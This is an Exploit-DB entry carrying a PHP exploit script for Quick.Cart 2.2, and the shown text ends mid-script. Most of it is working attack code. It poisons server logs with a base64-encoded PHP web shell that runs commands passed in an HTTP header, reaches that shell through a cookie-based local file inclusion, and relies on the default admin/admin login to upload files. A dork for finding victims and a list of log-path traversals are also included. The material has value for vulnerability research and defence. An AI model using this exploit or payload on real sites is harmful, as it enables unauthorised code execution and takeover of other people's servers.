Exploit-DB #4025
Description: Quick.Cart 2.2 - Local/Remote File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2007-06-02
Author: Kacper

Exploit:
<?php
/*
Exploit Name:
Quick.Cart <= v2.2 Remote Local Include Exploit & Remote Code Execution Exploit

Autor: Kacper
Contact: kacper1964@yahoo.pl
Homepage: http://www.rahim.webd.pl/
Kacper Hacking & Security Blog: http://kacper.bblog.pl/
Irc: irc.milw0rm.com:6667 #devilteam 

Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.

Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org  :)

//dork: "Powered by Quick.Cart"

script homepage/download/demo: http://opensolution.org/
*/

if ($argc<4) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Quick.Cart
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -L[Login]:    Admin login (Default: admin)
 -H[Password]: Admin password (Default: admin)
Example:
php '.$argv[0].' localhost /Quick.Cart/ ls -la
php '.$argv[0].' localhost /Quick.Cart/ ls -la -Ladmin -Hadmin
php '.$argv[0].' localhost /Quick.Cart/ ls -la -P1.1.1.1:80
---------------------------------------------------------------------------
');
die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function wyslijpakiet($pakiet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$pakiet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$login="admin";
$haslo="admin";
$cmd="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-L")
{
  $login=str_replace("-L","",$argv[$i]);
}
if ($temp=="-H")
{
  $haslo=str_replace("-H","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'bad patch!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/*
how its works :)

in file "config/general.php" lines 12-33:

################################################################################
$config['dir_config']           = 'config/';
$config['dir_core']             = 'core/';
$config['dir_db']               = 'db/';
$config['dir_js']               = 'js/';
$config['dir_libraries']        = 'libraries/';
$config['dir_tpl']              = 'templates/';
$config['dir_files']            = 'files/';
$config['dir_ext']              = 'ext/';
$config['dir_plugins']          = 'plugins/';
$config['dir_lang']             = 'lang/';

if( isset( $sLang ) && is_file( $config['dir_lang'].$sLang.'.php' ) && strlen( $sLang ) == 2 ){
  setCookie( 'sLanguage', $sLang, time( ) + 86400 );
  define( 'LANGUAGE', $sLang );
}
else{
  if( isset( $_COOKIE['sLanguage'] ) )            <-------------------------[^]
    define( 'LANGUAGE', $_COOKIE['sLanguage'] );    <-------------------------[^^]
  else
    define( 'LANGUAGE', $config['default_lang'] ); 
}
################################################################################

and in index.php we can find line 32:

################################################################################
require_once DIR_LANG.LANGUAGE.'.php'; <-------------------------[^^^]
################################################################################

we can define LANGUAGE string. 

Now how remote code execution:

in admin panel can upload any file on serwer, if you have admin login and password. Default admin login and password in script is "admin" many users dont change it!!
They don't edit file "config/general.php" lines 75-76:
$config['login']		= "admin";
$config['pass']		= "admin";

;)

Elo :)
*/

echo "insert evil code in logfiles to run local include ...\r\n\r\n";
$hauru2 = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL".
"i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS".
"4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB".
"UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj".
"aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI".
"jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX".
"NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");
$pakiet="GET ".$p.$hauru2." HTTP/1.0\r\n";
$pakiet.="User-Agent: ".$hauru2." Googlebot/2.1\r\n";
$pakiet.="Host: ".$host."\r\n";
$pakiet.="Connection: close\r\n\r\n";
wyslijpakiet($pakiet);
sleep(1);
$paths= array (
"../../../../../var/log/httpd/access_log",
"../